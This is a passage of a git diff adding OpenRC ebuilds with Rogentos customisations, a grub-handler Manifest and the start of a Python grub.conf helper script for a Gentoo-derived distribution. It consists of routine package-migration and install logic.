+	if [[ -e ${ROOT}/etc/conf.d/rc ]] ; then
+		elog "/etc/conf.d/rc is no longer used for configuration."
+		elog "Please migrate your settings to /etc/rc.conf as applicable"
+		elog "and delete /etc/conf.d/rc"
+	fi
+
+	# force net init.d scripts into symlinks
+	for f in "${ROOT}"/etc/init.d/net.* ; do
+		[[ -e ${f} ]] || continue # catch net.* not matching anything
+		[[ ${f} == */net.lo ]] && continue # real file now
+		[[ ${f} == *.openrc.bak ]] && continue
+		if [[ ! -L ${f} ]] ; then
+			elog "Moved net service '${f##*/}' to '${f##*/}.openrc.bak' to force a symlink."
+			elog "You should delete '${f##*/}.openrc.bak' if you don't need it."
+			mv "${f}" "${f}.openrc.bak"
+			ln -snf net.lo "${f}"
+		fi
+	done
+
+	# termencoding was added in 0.2.1 and needed in boot
+	has_version ">=sys-apps/openrc-0.2.1" || add_boot_init termencoding
+
+	# set default interactive shell to sulogin if it exists
+	set_config /etc/rc.conf rc_shell /sbin/sulogin "#" test -e /sbin/sulogin
+
+	has_version sys-apps/openrc || migrate_from_baselayout_1
+	has_version ">=sys-apps/openrc-0.4.0" || migrate_udev_init_script
+}
+
+# >=openrc-0.4.0 no longer loads the udev addon
+migrate_udev_init_script() {
+	# make sure udev is in sysinit if it was enabled before
+	local enable_udev=false
+	local rc_devices=$(
+		[[ -f /etc/rc.conf ]] && source /etc/rc.conf
+		[[ -f /etc/conf.d/rc ]] && source /etc/conf.d/rc
+		echo "${rc_devices:-${RC_DEVICES:-auto}}"
+	)
+	case ${rc_devices} in
+		udev|auto)
+			enable_udev=true
+			;;
+	esac
+
+	if $enable_udev; then
+		add_boot_init udev sysinit
+		add_boot_init udev-postmount default
+	fi
+}
+
+migrate_from_baselayout_1() {
+	# baselayout boot init scripts have been split out
+	for f in $(cd "${D}"/usr/share/${PN}/runlevels/boot || exit; echo *) ; do
+		# baselayout-1 is always "old" net, so ignore "new" net
+		[[ ${f} == "network" ]] && continue
+
+		add_boot_init ${f}
+	done
+
+	# Try to auto-add some addons when possible
+	add_boot_init_mit_config /etc/conf.d/cryptfs dmcrypt
+	add_boot_init_mit_config /etc/conf.d/dmcrypt dmcrypt
+	add_boot_init_mit_config /etc/mdadm.conf mdraid
+	add_boot_init_mit_config /etc/evms.conf evms
+	[[ -e ${ROOT}/sbin/dmsetup ]] && add_boot_init device-mapper
+	[[ -e ${ROOT}/sbin/vgscan ]] && add_boot_init lvm
+	elog "Add on services (such as RAID/dmcrypt/LVM/etc...) are now stand alone"
+	elog "init.d scripts.  If you use such a thing, make sure you have the"
+	elog "required init.d scripts added to your boot runlevel."
+
+	# Upgrade our state for baselayout-1 users
+	if [[ ! -e ${ROOT}${LIBDIR}/rc/init.d/started ]] ; then
+		(
+		[[ -e ${ROOT}/etc/conf.d/rc ]] && source "${ROOT}"/etc/conf.d/rc
+		svcdir=${svcdir:-/var/lib/init.d}
+		if [[ ! -d ${ROOT}${svcdir}/started ]] ; then
+			ewarn "No state found, and no state exists"
+			elog "You should reboot this host"
+		else
+			mkdir -p "${ROOT}${LIBDIR}/rc/init.d"
+			einfo "Moving state from ${ROOT}${svcdir} to ${ROOT}${LIBDIR}/rc/init.d"
+			mv "${ROOT}${svcdir}"/* "${ROOT}${LIBDIR}"/rc/init.d
+			rm -rf "${ROOT}${LIBDIR}"/rc/init.d/daemons \
+				"${ROOT}${LIBDIR}"/rc/init.d/console
+			umount "${ROOT}${svcdir}" 2>/dev/null
+			rm -rf "${ROOT}${svcdir}"
+		fi
+		)
+	fi
+
+	# Handle the /etc/modules.autoload.d -> /etc/conf.d/modules transition
+	if [[ -d ${ROOT}/etc/modules.autoload.d ]] ; then
+		elog "Converting your /etc/modules.autoload.d/ files to /etc/conf.d/modules"
+		rm -f "${ROOT}"/etc/modules.autoload.d/.keep*
+		rmdir "${ROOT}"/etc/modules.autoload.d 2>/dev/null
+		if [[ -d ${ROOT}/etc/modules.autoload.d ]] ; then
+			local f v
+			for f in "${ROOT}"/etc/modules.autoload.d/* ; do
+				v=${f##*/}
+				v=${v#kernel-}
+				v=${v//[^[:alnum:]]/_}
+				gawk -v v="${v}" -v f="${f##*/}" '
+				BEGIN { print "\n### START: Auto-converted from " f "\n" }
+				{
+					if ($0 ~ /^[^#]/) {
+						print "modules_" v "=\"${modules_" v "} " $1 "\""
+						gsub(/[^[:alnum:]]/, "_", $1)
+						printf "module_" $1 "_args_" v "=\""
+						for (i = 2; i <= NF; ++i) {
+							if (i > 2)
+								printf " "
+							printf $i
+						}
+						print "\"\n"
+					} else
+						print
+				}
+				END { print "\n### END: Auto-converted from " f "\n" }
+				' "${f}" >> "${D}"/etc/conf.d/modules
+			done
+				rm -f "${f}"
+			rmdir "${ROOT}"/etc/modules.autoload.d 2>/dev/null
+		fi
+	fi
+}
+
+pkg_postinst() {
+	local LIBDIR=$(get_libdir)
+
+	# Rogentos customization, do not bug user with tedious, useless config file updates
+	for conf_file in "${ROOT}/etc/conf.d/keymaps" "${ROOT}/etc/conf.d/hwclock"; do
+		if [ -e "${conf_file}.ebuild_preserved" ]; then
+			cp -p "${conf_file}.ebuild_preserved" "${conf_file}" # don't die
+		elif [ ! -e "${conf_file}" ]; then
+			cp -p "${conf_file}.example" "${conf_file}" # don't die
+		fi
+		chown root:root "${conf_file}" # don't die
+	done
+
+	# Remove old baselayout links
+	rm -f "${ROOT}"/etc/runlevels/boot/{check{fs,root},rmnologin}
+	rm -f "${ROOT}"/etc/init.d/{depscan,runscript}.sh
+
+	# Make our runlevels if they don't exist
+	if [[ ! -e ${ROOT}/etc/runlevels ]] || [[ -e ${ROOT}/etc/runlevels/.add_boot_init.created ]] ; then
+		einfo "Copying across default runlevels"
+		cp -RPp "${ROOT}"/usr/share/${PN}/runlevels "${ROOT}"/etc
+		rm -f "${ROOT}"/etc/runlevels/.add_boot_init.created
+	else
+		if [[ ! -e ${ROOT}/etc/runlevels/sysinit/devfs ]] ; then
+			mkdir -p "${ROOT}"/etc/runlevels/sysinit
+			cp -RPp "${ROOT}"/usr/share/${PN}/runlevels/sysinit/* \
+				"${ROOT}"/etc/runlevels/sysinit
+		fi
+		if [[ ! -e ${ROOT}/etc/runlevels/shutdown/mount-ro ]] ; then
+			mkdir -p "${ROOT}"/etc/runlevels/shutdown
+			cp -RPp "${ROOT}"/usr/share/${PN}/runlevels/shutdown/* \
+				"${ROOT}"/etc/runlevels/shutdown
+		fi
+	fi
+
+	# /etc/conf.d/net.example is no longer valid
+	local NET_EXAMPLE="${ROOT}/etc/conf.d/net.example"
+	local NET_MD5='8ebebfa07441d39eb54feae0ee4c8210'
+	if [[ -e "${NET_EXAMPLE}" ]] ; then
+		if [[ $(md5sum "${NET_EXAMPLE}") == ${NET_MD5}* ]]; then
+			rm -f "${NET_EXAMPLE}"
+			elog "${NET_EXAMPLE} has been removed."
+		else
+			sed -i '1i# This file is obsolete.\n' "${NET_EXAMPLE}"
+			elog "${NET_EXAMPLE} should be removed."
+		fi
+		elog "The new file is ${ROOT}/usr/share/doc/${PF}/net.example"
+	fi
+
+	# /etc/conf.d/wireless.example is no longer valid
+	local WIRELESS_EXAMPLE="${ROOT}/etc/conf.d/wireless.example"
+	local WIRELESS_MD5='d1fad7da940bf263c76af4d2082124a3'
+	if [[ -e "${WIRELESS_EXAMPLE}" ]] ; then
+		if [[ $(md5sum "${WIRELESS_EXAMPLE}") == ${WIRELESS_MD5}* ]]; then
+			rm -f "${WIRELESS_EXAMPLE}"
+			elog "${WIRELESS_EXAMPLE} is deprecated and has been removed."
+		else
+			sed -i '1i# This file is obsolete.\n' "${WIRELESS_EXAMPLE}"
+			elog "${WIRELESS_EXAMPLE} is deprecated and should be removed."
+		fi
+		elog "If you are using the old style network scripts,"
+		elog "Configure wireless settings in ${ROOT}/etc/conf.d/net"
+		elog "after reviewing ${ROOT}/usr/share/doc/${PF}/net.example"
+	fi
+
+	if [[ -d ${ROOT}/etc/modules.autoload.d ]] ; then
+		ewarn "/etc/modules.autoload.d is no longer used.  Please convert"
+		ewarn "your files to /etc/conf.d/modules and delete the directory."
+	fi
+
+	if use hppa; then
+		elog "Setting the console font does not work on all HPPA consoles."
+		elog "You can still enable it by running:"
+		elog "# rc-update add consolefont boot"
+	fi
+
+	# Handle the conf.d/local.{start,stop} -> local.d transition
+	if path_exists -o "${ROOT}"etc/conf.d/local.{start,stop} ; then
+		elog "Moving your ${ROOT}etc/conf.d/local.{start,stop}"
+		elog "files to ${ROOT}etc/local.d"
+		mv "${ROOT}"etc/conf.d/local.start "${ROOT}"etc/local.d/baselayout1.start
+		mv "${ROOT}"etc/conf.d/local.stop "${ROOT}"etc/local.d/baselayout1.stop
+		chmod +x "${ROOT}"etc/local.d/*{start,stop}
+	fi
+
+	# update the dependency tree after touching all files #224171
+	[[ "${ROOT}" = "/" ]] && "${ROOT}/${LIBDIR}"/rc/bin/rc-depend -u
+
+	elog "You should now update all files in /etc, using etc-update"
+	elog "or equivalent before restarting any services or this host."
+	elog
+	elog "Please read the migration guide available at:"
+	elog "http://www.gentoo.org/doc/en/openrc-migration.xml"
+}
diff --git a/sys-apps/openrc/openrc-0.9.9.3.ebuild b/sys-apps/openrc/openrc-0.9.9.3.ebuild
new file mode 100644
index 00000000..c439dd12
--- /dev/null
+++ b/sys-apps/openrc/openrc-0.9.9.3.ebuild
@@ -0,0 +1,461 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/sys-apps/openrc/openrc-0.9.9.3.ebuild,v 1.1 2012/03/11 20:14:37 robbat2 Exp $
+
+EAPI=4
+
+EGIT_REPO_URI="git://git.overlays.gentoo.org/proj/${PN}.git"
+[[ ${PV} == "9999" ]] && SCM_ECLASS="git-2"
+inherit eutils flag-o-matic multilib pam toolchain-funcs ${SCM_ECLASS}
+unset SCM_ECLASS
+
+DESCRIPTION="OpenRC manages the services, startup and shutdown of a host"
+HOMEPAGE="http://www.gentoo.org/proj/en/base/openrc/"
+if [[ ${PV} != "9999" ]] ; then
+	SRC_URI="mirror://gentoo/${P}.tar.bz2"
+	KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~m68k ~mips ~ppc ~ppc64 ~s390 ~sh ~sparc ~sparc-fbsd ~x86 ~x86-fbsd"
+fi
+
+LICENSE="BSD-2"
+SLOT="0"
+IUSE="debug elibc_glibc ncurses pam selinux static-libs unicode kernel_linux kernel_FreeBSD"
+
+RDEPEND="virtual/init
+	kernel_FreeBSD? ( || ( >=sys-freebsd/freebsd-ubin-9.0_rc sys-process/fuser-bsd ) )
+	elibc_glibc? ( >=sys-libs/glibc-2.5 )
+	ncurses? ( sys-libs/ncurses )
+	pam? ( sys-auth/pambase )
+	>=sys-apps/baselayout-2.0.0
+	kernel_linux? (
+		sys-process/psmisc
+	)
+	!<sys-fs/udev-133"
+DEPEND="${RDEPEND}
+	virtual/os-headers"
+
+make_args() {
+	unset LIBDIR #266688
+
+	MAKE_ARGS="${MAKE_ARGS} LIBNAME=$(get_libdir) LIBEXECDIR=/$(get_libdir)/rc"
+
+	local brand="Unknown"
+	if use kernel_linux ; then
+		MAKE_ARGS="${MAKE_ARGS} OS=Linux"
+		brand="Linux"
+	elif use kernel_FreeBSD ; then
+		MAKE_ARGS="${MAKE_ARGS} OS=FreeBSD"
+		brand="FreeBSD"
+	fi
+	if use selinux; then
+			MAKE_ARGS="${MAKE_ARGS} MKSELINUX=yes"
+	fi
+	export BRANDING="Rogentos ${brand}"
+	if ! use static-libs; then
+			MAKE_ARGS="${MAKE_ARGS} MKSTATICLIBS=no"
+	fi
+}
+
+pkg_setup() {
+	export DEBUG=$(usev debug)
+	export MKPAM=$(usev pam)
+	export MKTERMCAP=$(usev ncurses)
+}
+
+src_prepare() {
+	sed -i 's:0444:0644:' mk/sys.mk || die
+	sed -i "/^DIR/s:/openrc:/${PF}:" doc/Makefile || die #241342
+
+	if [[ ${PV} == "9999" ]] ; then
+		local ver="git-${EGIT_VERSION:0:6}"
+		sed -i "/^GITVER[[:space:]]*=/s:=.*:=${ver}:" mk/git.mk || die
+	fi
+
+	# Allow user patches to be applied without modifying the ebuild
+	epatch_user
+
+	# Rogentos custom config
+	epatch "${FILESDIR}/${PN}-sabayon-config-2.patch"
+	epatch "${FILESDIR}"/${PN}-0.5.3-disable_warns_until_migrated.patch
+	epatch "${FILESDIR}/${PN}-netmount-fix.patch"
+	epatch "${FILESDIR}/${PN}-0.6.1-fix-clockskew-error-handling.patch"
+
+	# Rogentos bug fixes
+	epatch "${FILESDIR}/${PN}-0.9.9.3-do-not-print-error-if-tmplog-cannot-be-read.patch"
+}
+
+src_compile() {
+	make_args
+
+	tc-export CC AR RANLIB
+	emake ${MAKE_ARGS}
+}
+
+# set_config <file> <option name> <yes value> <no value> test
+# a value of "#" will just comment out the option
+set_config() {
+	local file="${D}/$1" var=$2 val com
+	eval "${@:5}" && val=$3 || val=$4
+	[[ ${val} == "#" ]] && com="#" && val='\2'
+	sed -i -r -e "/^#?${var}=/{s:=([\"'])?([^ ]*)\1?:=\1${val}\1:;s:^#?:${com}:}" "${file}"
+}
+
+set_config_yes_no() {
+	set_config "$1" "$2" YES NO "${@:3}"
+}
+
+src_install() {
+	make_args
+	emake ${MAKE_ARGS} DESTDIR="${D}" install
+
+	# move the shared libs back to /usr so ldscript can install
+	# more of a minimal set of files
+	# disabled for now due to #270646
+	#mv "${D}"/$(get_libdir)/lib{einfo,rc}* "${D}"/usr/$(get_libdir)/ || die
+	#gen_usr_ldscript -a einfo rc
+	gen_usr_ldscript libeinfo.so
+	gen_usr_ldscript librc.so
+
+	keepdir /$(get_libdir)/rc/{init.d,tmp}
+
+	# Backup our default runlevels
+	dodir /usr/share/"${PN}"
+	cp -PR "${D}"/etc/runlevels "${D}"/usr/share/${PN} || die
+	rm -rf "${D}"/etc/runlevels
+
+	# Install the default net configuration
+	doconfd conf.d/net
+
+	# Setup unicode defaults for silly unicode users
+	set_config_yes_no /etc/rc.conf unicode use unicode
+
+	# Cater to the norm
+	set_config_yes_no /etc/conf.d/keymaps windowkeys '(' use x86 '||' use amd64 ')'
+
+	# On HPPA, do not run consolefont by default (bug #222889)
+	if use hppa; then
+		rm -f "${D}"/usr/share/openrc/runlevels/boot/consolefont
+	fi
+
+	# Support for logfile rotation
+	insinto /etc/logrotate.d
+	newins "${FILESDIR}"/openrc.logrotate openrc
+
+	# Rogentos customization, do not bug user with annoying updates (for now)
+	mv "${D}"/etc/conf.d/keymaps "${D}"/etc/conf.d/keymaps.example || \
+		die "cannot move keymaps"
+	mv "${D}"/etc/conf.d/hwclock "${D}"/etc/conf.d/hwclock.example || \
+		die "cannot move hwclock"
+
+	# install the gentoo pam.d file
+	newpamd "${FILESDIR}"/start-stop-daemon.pam start-stop-daemon
+}
+
+add_boot_init() {
+	local initd=$1
+	local runlevel=${2:-boot}
+	# if the initscript is not going to be installed and is not
+	# currently installed, return
+	[[ -e ${D}/etc/init.d/${initd} || -e ${ROOT}/etc/init.d/${initd} ]] \
+		|| return
+	[[ -e ${ROOT}/etc/runlevels/${runlevel}/${initd} ]] && return
+
+	# if runlevels dont exist just yet, then create it but still flag
+	# to pkg_postinst that it needs real setup #277323
+	if [[ ! -d ${ROOT}/etc/runlevels/${runlevel} ]] ; then
+		mkdir -p "${ROOT}"/etc/runlevels/${runlevel}
+		touch "${ROOT}"/etc/runlevels/.add_boot_init.created
+	fi
+
+	elog "Auto-adding '${initd}' service to your ${runlevel} runlevel"
+	ln -snf /etc/init.d/${initd} "${ROOT}"/etc/runlevels/${runlevel}/${initd}
+}
+add_boot_init_mit_config() {
+	local config=$1 initd=$2
+	if [[ -e ${ROOT}${config} ]] ; then
+		if [[ -n $(sed -e 's:#.*::' -e '/^[[:space:]]*$/d' "${ROOT}"/${config}) ]] ; then
+			add_boot_init ${initd}
+		fi
+	fi
+}
+
+pkg_preinst() {
+	local conf_file
+	# Rogentos customization, still protect conf files from being removed
+	# as no longer owned by package
+	for conf_file in "${ROOT}/etc/conf.d/keymaps" "${ROOT}/etc/conf.d/hwclock"; do
+		if [ -e "${conf_file}" ]; then
+			cp -p "${conf_file}" "${conf_file}.ebuild_preserved" # don't die
+		fi
+	done
+
+	local f LIBDIR=$(get_libdir)
+
+	# default net script is just comments, so no point in biting people
+	# in the ass by accident.  we save in preinst so that the package
+	# manager doesnt go throwing etc-update crap at us -- postinst is
+	# too late to prevent that.  this behavior also lets us keep the
+	# file in the CONTENTS for binary packages.
+	[[ -e ${ROOT}/etc/conf.d/net ]] && cp "${ROOT}"/etc/conf.d/net "${D}"/etc/conf.d/
+
+	# avoid default thrashing in conf.d files when possible #295406
+	if [[ -e ${ROOT}/etc/conf.d/hostname ]] ; then
+		(
+		unset hostname HOSTNAME
+		source "${ROOT}"/etc/conf.d/hostname
+		: ${hostname:=${HOSTNAME}}
+		[[ -n ${hostname} ]] && set_config /etc/conf.d/hostname hostname "${hostname}"
+		)
+	fi
+
+	# upgrade timezone file ... do it before moving clock
+	if [[ -e ${ROOT}/etc/conf.d/clock && ! -e ${ROOT}/etc/timezone ]] ; then
+		(
+		unset TIMEZONE
+		source "${ROOT}"/etc/conf.d/clock
+		[[ -n ${TIMEZONE} ]] && echo "${TIMEZONE}" > "${ROOT}"/etc/timezone
+		)
+	fi
+
+	# /etc/conf.d/clock moved to /etc/conf.d/hwclock
+	local clock
+	use kernel_FreeBSD && clock="adjkerntz" || clock="hwclock"
+	if [[ -e ${ROOT}/etc/conf.d/clock ]] ; then
+		mv "${ROOT}"/etc/conf.d/clock "${ROOT}"/etc/conf.d/${clock}
+	fi
+	if [[ -e ${ROOT}/etc/init.d/clock ]] ; then
+		rm -f "${ROOT}"/etc/init.d/clock
+	fi
+	if [[ -L ${ROOT}/etc/runlevels/boot/clock ]] ; then
+		rm -f "${ROOT}"/etc/runlevels/boot/clock
+		ln -snf /etc/init.d/${clock} "${ROOT}"/etc/runlevels/boot/${clock}
+	fi
+	if [[ -L ${ROOT}${LIBDIR}/rc/init.d/started/clock ]] ; then
+		rm -f "${ROOT}${LIBDIR}"/rc/init.d/started/clock
+		ln -snf /etc/init.d/${clock} "${ROOT}${LIBDIR}"/rc/init.d/started/${clock}
+	fi
+
+	# /etc/conf.d/rc is no longer used for configuration
+	if [[ -e ${ROOT}/etc/conf.d/rc ]] ; then
+		elog "/etc/conf.d/rc is no longer used for configuration."
+		elog "Please migrate your settings to /etc/rc.conf as applicable"
+		elog "and delete /etc/conf.d/rc"
+	fi
+
+	# force net init.d scripts into symlinks
+	for f in "${ROOT}"/etc/init.d/net.* ; do
+		[[ -e ${f} ]] || continue # catch net.* not matching anything
+		[[ ${f} == */net.lo ]] && continue # real file now
+		[[ ${f} == *.openrc.bak ]] && continue
+		if [[ ! -L ${f} ]] ; then
+			elog "Moved net service '${f##*/}' to '${f##*/}.openrc.bak' to force a symlink."
+			elog "You should delete '${f##*/}.openrc.bak' if you don't need it."
+			mv "${f}" "${f}.openrc.bak"
+			ln -snf net.lo "${f}"
+		fi
+	done
+
+	# termencoding was added in 0.2.1 and needed in boot
+	has_version ">=sys-apps/openrc-0.2.1" || add_boot_init termencoding
+
+	# swapfiles was added in 0.9.9 and needed in boot (february 2012)
+	has_version ">=sys-apps/openrc-0.9.9" || add_boot_init swapfiles
+
+	# set default interactive shell to sulogin if it exists
+	set_config /etc/rc.conf rc_shell /sbin/sulogin "#" test -e /sbin/sulogin
+
+	has_version sys-apps/openrc || migrate_from_baselayout_1
+	has_version ">=sys-apps/openrc-0.4.0" || migrate_udev_init_script
+}
+
+# >=openrc-0.4.0 no longer loads the udev addon
+migrate_udev_init_script() {
+	# make sure udev is in sysinit if it was enabled before
+	local enable_udev=false
+	local rc_devices=$(
+		[[ -f /etc/rc.conf ]] && source /etc/rc.conf
+		[[ -f /etc/conf.d/rc ]] && source /etc/conf.d/rc
+		echo "${rc_devices:-${RC_DEVICES:-auto}}"
+	)
+	case ${rc_devices} in
+		udev|auto)
+			enable_udev=true
+			;;
+	esac
+
+	if $enable_udev; then
+		add_boot_init udev sysinit
+		add_boot_init udev-postmount default
+	fi
+}
+
+migrate_from_baselayout_1() {
+	# baselayout boot init scripts have been split out
+	for f in $(cd "${D}"/usr/share/${PN}/runlevels/boot || exit; echo *) ; do
+		# baselayout-1 is always "old" net, so ignore "new" net
+		[[ ${f} == "network" ]] && continue
+
+		add_boot_init ${f}
+	done
+
+	# Try to auto-add some addons when possible
+	add_boot_init_mit_config /etc/conf.d/cryptfs dmcrypt
+	add_boot_init_mit_config /etc/conf.d/dmcrypt dmcrypt
+	add_boot_init_mit_config /etc/mdadm.conf mdraid
+	add_boot_init_mit_config /etc/evms.conf evms
+	[[ -e ${ROOT}/sbin/dmsetup ]] && add_boot_init device-mapper
+	[[ -e ${ROOT}/sbin/vgscan ]] && add_boot_init lvm
+	elog "Add on services (such as RAID/dmcrypt/LVM/etc...) are now stand alone"
+	elog "init.d scripts.  If you use such a thing, make sure you have the"
+	elog "required init.d scripts added to your boot runlevel."
+
+	# Upgrade our state for baselayout-1 users
+	if [[ ! -e ${ROOT}${LIBDIR}/rc/init.d/started ]] ; then
+		(
+		[[ -e ${ROOT}/etc/conf.d/rc ]] && source "${ROOT}"/etc/conf.d/rc
+		svcdir=${svcdir:-/var/lib/init.d}
+		if [[ ! -d ${ROOT}${svcdir}/started ]] ; then
+			ewarn "No state found, and no state exists"
+			elog "You should reboot this host"
+		else
+			mkdir -p "${ROOT}${LIBDIR}/rc/init.d"
+			einfo "Moving state from ${ROOT}${svcdir} to ${ROOT}${LIBDIR}/rc/init.d"
+			mv "${ROOT}${svcdir}"/* "${ROOT}${LIBDIR}"/rc/init.d
+			rm -rf "${ROOT}${LIBDIR}"/rc/init.d/daemons \
+				"${ROOT}${LIBDIR}"/rc/init.d/console
+			umount "${ROOT}${svcdir}" 2>/dev/null
+			rm -rf "${ROOT}${svcdir}"
+		fi
+		)
+	fi
+
+	# Handle the /etc/modules.autoload.d -> /etc/conf.d/modules transition
+	if [[ -d ${ROOT}/etc/modules.autoload.d ]] ; then
+		elog "Converting your /etc/modules.autoload.d/ files to /etc/conf.d/modules"
+		rm -f "${ROOT}"/etc/modules.autoload.d/.keep*
+		rmdir "${ROOT}"/etc/modules.autoload.d 2>/dev/null
+		if [[ -d ${ROOT}/etc/modules.autoload.d ]] ; then
+			local f v
+			for f in "${ROOT}"/etc/modules.autoload.d/* ; do
+				v=${f##*/}
+				v=${v#kernel-}
+				v=${v//[^[:alnum:]]/_}
+				gawk -v v="${v}" -v f="${f##*/}" '
+				BEGIN { print "\n### START: Auto-converted from " f "\n" }
+				{
+					if ($0 ~ /^[^#]/) {
+						print "modules_" v "=\"${modules_" v "} " $1 "\""
+						gsub(/[^[:alnum:]]/, "_", $1)
+						printf "module_" $1 "_args_" v "=\""
+						for (i = 2; i <= NF; ++i) {
+							if (i > 2)
+								printf " "
+							printf $i
+						}
+						print "\"\n"
+					} else
+						print
+				}
+				END { print "\n### END: Auto-converted from " f "\n" }
+				' "${f}" >> "${D}"/etc/conf.d/modules
+			done
+				rm -f "${f}"
+			rmdir "${ROOT}"/etc/modules.autoload.d 2>/dev/null
+		fi
+	fi
+}
+
+pkg_postinst() {
+	local conf_file
+	# Rogentos customization, do not bug user with tedious, useless config file updates
+	for conf_file in "${ROOT}/etc/conf.d/keymaps" "${ROOT}/etc/conf.d/hwclock"; do
+		if [ -e "${conf_file}.ebuild_preserved" ]; then
+			cp -p "${conf_file}.ebuild_preserved" "${conf_file}" # don't die
+		elif [ ! -e "${conf_file}" ]; then
+			cp -p "${conf_file}.example" "${conf_file}" # don't die
+		fi
+		chown root:root "${conf_file}" # don't die
+	done
+
+	local LIBDIR=$(get_libdir)
+
+	# Remove old baselayout links
+	rm -f "${ROOT}"/etc/runlevels/boot/{check{fs,root},rmnologin}
+	rm -f "${ROOT}"/etc/init.d/{depscan,runscript}.sh
+
+	# Make our runlevels if they don't exist
+	if [[ ! -e ${ROOT}/etc/runlevels ]] || [[ -e ${ROOT}/etc/runlevels/.add_boot_init.created ]] ; then
+		einfo "Copying across default runlevels"
+		cp -RPp "${ROOT}"/usr/share/${PN}/runlevels "${ROOT}"/etc
+		rm -f "${ROOT}"/etc/runlevels/.add_boot_init.created
+	else
+		if [[ ! -e ${ROOT}/etc/runlevels/sysinit/devfs ]] ; then
+			mkdir -p "${ROOT}"/etc/runlevels/sysinit
+			cp -RPp "${ROOT}"/usr/share/${PN}/runlevels/sysinit/* \
+				"${ROOT}"/etc/runlevels/sysinit
+		fi
+		if [[ ! -e ${ROOT}/etc/runlevels/shutdown/mount-ro ]] ; then
+			mkdir -p "${ROOT}"/etc/runlevels/shutdown
+			cp -RPp "${ROOT}"/usr/share/${PN}/runlevels/shutdown/* \
+				"${ROOT}"/etc/runlevels/shutdown
+		fi
+	fi
+
+	# /etc/conf.d/net.example is no longer valid
+	local NET_EXAMPLE="${ROOT}/etc/conf.d/net.example"
+	local NET_MD5='8ebebfa07441d39eb54feae0ee4c8210'
+	if [[ -e "${NET_EXAMPLE}" ]] ; then
+		if [[ $(md5sum "${NET_EXAMPLE}") == ${NET_MD5}* ]]; then
+			rm -f "${NET_EXAMPLE}"
+			elog "${NET_EXAMPLE} has been removed."
+		else
+			sed -i '1i# This file is obsolete.\n' "${NET_EXAMPLE}"
+			elog "${NET_EXAMPLE} should be removed."
+		fi
+		elog "The new file is ${ROOT}/usr/share/doc/${PF}/net.example"
+	fi
+
+	# /etc/conf.d/wireless.example is no longer valid
+	local WIRELESS_EXAMPLE="${ROOT}/etc/conf.d/wireless.example"
+	local WIRELESS_MD5='d1fad7da940bf263c76af4d2082124a3'
+	if [[ -e "${WIRELESS_EXAMPLE}" ]] ; then
+		if [[ $(md5sum "${WIRELESS_EXAMPLE}") == ${WIRELESS_MD5}* ]]; then
+			rm -f "${WIRELESS_EXAMPLE}"
+			elog "${WIRELESS_EXAMPLE} is deprecated and has been removed."
+		else
+			sed -i '1i# This file is obsolete.\n' "${WIRELESS_EXAMPLE}"
+			elog "${WIRELESS_EXAMPLE} is deprecated and should be removed."
+		fi
+		elog "If you are using the old style network scripts,"
+		elog "Configure wireless settings in ${ROOT}/etc/conf.d/net"
+		elog "after reviewing ${ROOT}/usr/share/doc/${PF}/net.example"
+	fi
+
+	if [[ -d ${ROOT}/etc/modules.autoload.d ]] ; then
+		ewarn "/etc/modules.autoload.d is no longer used.  Please convert"
+		ewarn "your files to /etc/conf.d/modules and delete the directory."
+	fi
+
+	if use hppa; then
+		elog "Setting the console font does not work on all HPPA consoles."
+		elog "You can still enable it by running:"
+		elog "# rc-update add consolefont boot"
+	fi
+
+	# Handle the conf.d/local.{start,stop} -> local.d transition
+	if path_exists -o "${ROOT}"etc/conf.d/local.{start,stop} ; then
+		elog "Moving your ${ROOT}etc/conf.d/local.{start,stop}"
+		elog "files to ${ROOT}etc/local.d"
+		mv "${ROOT}"etc/conf.d/local.start "${ROOT}"etc/local.d/baselayout1.start
+		mv "${ROOT}"etc/conf.d/local.stop "${ROOT}"etc/local.d/baselayout1.stop
+		chmod +x "${ROOT}"etc/local.d/*{start,stop}
+	fi
+
+	# update the dependency tree after touching all files #224171
+	[[ "${ROOT}" = "/" ]] && "${ROOT}/${LIBDIR}"/rc/bin/rc-depend -u
+
+	elog "You should now update all files in /etc, using etc-update"
+	elog "or equivalent before restarting any services or this host."
+	elog
+	elog "Please read the migration guide available at:"
+	elog "http://www.gentoo.org/doc/en/openrc-migration.xml"
+}
diff --git a/sys-boot/grub-handler/Manifest b/sys-boot/grub-handler/Manifest
new file mode 100644
index 00000000..4cff22db
--- /dev/null
+++ b/sys-boot/grub-handler/Manifest
@@ -0,0 +1,2 @@
+AUX grub-handler 10101 SHA256 f1290b49086310143cb36ec0a38bf8d43da18dcb9a3fab92947e299aafe677bb SHA512 55e2d5d8f1aa7459beb6349878f15632880c52ec60c82fd8f1c6e579203ed90da9af8de8d32c34a69eb58eb091428f8cbb9b74e61a07acf87102e8f5ecf829dc WHIRLPOOL 37d6ec7bdbc5f153101da651fa4a9dbaf8c998cb32cb3409092e323e35a97fa4973dc458e3243c39389964248c38191c9f52e7971d0037b49890be08bb0dc18d
+EBUILD grub-handler-0.2-r6.ebuild 356 SHA256 d941fc1113e2a685b9a9df4529ddade7945ec14e6f9b5750954697e64420c8b0 SHA512 30c95314c280a1e690f4a763b95559b7168cb7bef17fa9610def05686b080924d31975cad3562eebf1729b2a0d781bdaa9c537598f5903be9dd1733f18a94d0e WHIRLPOOL b789c86e87bd359def6da3e13ee6627ce55e96317219cdd65dd7169d0bd3ce3b20c336d8f16c186950e8bafa498a222854543c7fcf9770af59142139f0762e69
diff --git a/sys-boot/grub-handler/files/grub-handler b/sys-boot/grub-handler/files/grub-handler
new file mode 100755
index 00000000..4034ba1d
--- /dev/null
+++ b/sys-boot/grub-handler/files/grub-handler
@@ -0,0 +1,318 @@
+#!/usr/bin/python2
+# -*- coding: utf-8 -*-
+"""
+    Kernel grub.conf configuration script
+
+    Copyright (C) 2009 Fabio Erculiani
+
+    This program is free software; you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation; either version 2 of the License, or
+    (at your option) any later version.
+
+"""
+import os
+import sys
+import subprocess
+import shutil
+BOOT_MOUNT = False
+NO_SYS_ROOT_BOOT_DIR = "/boot"
+if os.path.ismount(NO_SYS_ROOT_BOOT_DIR):
+    BOOT_MOUNT = True
+SYS_ROOT = os.getenv("ROOT","")
+GRUB_CONF = SYS_ROOT+"/boot/grub/grub.conf"
+FSTAB_CONF = SYS_ROOT+"/etc/fstab"
+DISTRO_NAME = "Rogentos Linux"
+
